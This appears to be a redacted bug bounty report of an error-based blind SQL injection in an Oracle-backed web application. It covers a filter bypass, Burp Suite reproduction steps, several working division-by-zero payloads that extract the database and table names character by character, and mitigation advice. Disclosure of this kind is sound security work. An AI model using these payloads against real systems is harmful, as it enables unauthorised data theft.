Error-based blind SQL injection

How it was found

Description: An error-based blind SQL injection at ██████. The sites, rods and ous parameters are vulnerable. By exploiting these parameters, it's possible to extract sensitive information by triggering errors that are returned by the database. During testing, I noticed that the characters =, |, ;, > and < were not allowed. However, it was still possible to write SQL injection payloads without them.

References

OWASP SQL Injection https://owasp.org/www-community/attacks/SQL_Injection

Similar report https://hackerone.com/reports/2759243

Impact

By exploiting this vulnerability, an attacker can:

• Confirm the existence of SQL injection by analyzing errors returned by the database
• Potentially extract sensitive information from the database, such as usernames, passwords, or other critical data. The sensitive information could be extracted by sending payloads like "21,19) AND (SELECT 1/(CASE WHEN SYS_CONTEXT('USERENV', 'DB_NAME') LIKE 'A%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --". In this example, if the application returns an error (division by zero), the attacker would know that there is a database that starts with 'A'. They could continue sending more payloads until they discover the full database name. They could also discover additional information using the same method, such as table names, column names, and data stored in the database.

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

1. Visit the following URL in a browser: ████
2. Select an installation from the list on the left, then select items in one of the following fields: Sites, OUs or RODs
3. Intercept the request using Burp Suite and modify any one of the following parameters: sites, rods or ous.

Example payloads:

Returns error, the first table starts with D

21,19) AND (SELECT 1/(CASE WHEN (SELECT table_name FROM all_tables WHERE ROWNUM BETWEEN 1 AND 1) LIKE 'D%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --

Does not return error, the first table does not start with A

21,19) AND (SELECT 1/(CASE WHEN (SELECT table_name FROM all_tables WHERE ROWNUM BETWEEN 1 AND 1) LIKE 'A%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --

Does not return error, there is not a database that starts with W

21,19) AND (SELECT 1/(CASE WHEN SYS_CONTEXT('USERENV', 'DB_NAME') LIKE 'W%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --

Returns error, there is a database that starts with A

21,19) AND (SELECT 1/(CASE WHEN SYS_CONTEXT('USERENV', 'DB_NAME') LIKE 'A%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --

It is also possible to discover other database objects, such as columns and data, using the same technique with similar payloads.

The following video shows how the issue can be reproduced: █████████

Suggested Mitigation/Remediation Actions

• Implement input validation to prevent SQL queries from being executed. User-supplied data should be validated and sanitized to remove potentially harmful characters, such as single quotes ('), semicolons (;), and SQL keywords
• Use prepared statements and parameterized queries. User-supplied data should not be concatenated in SQL queries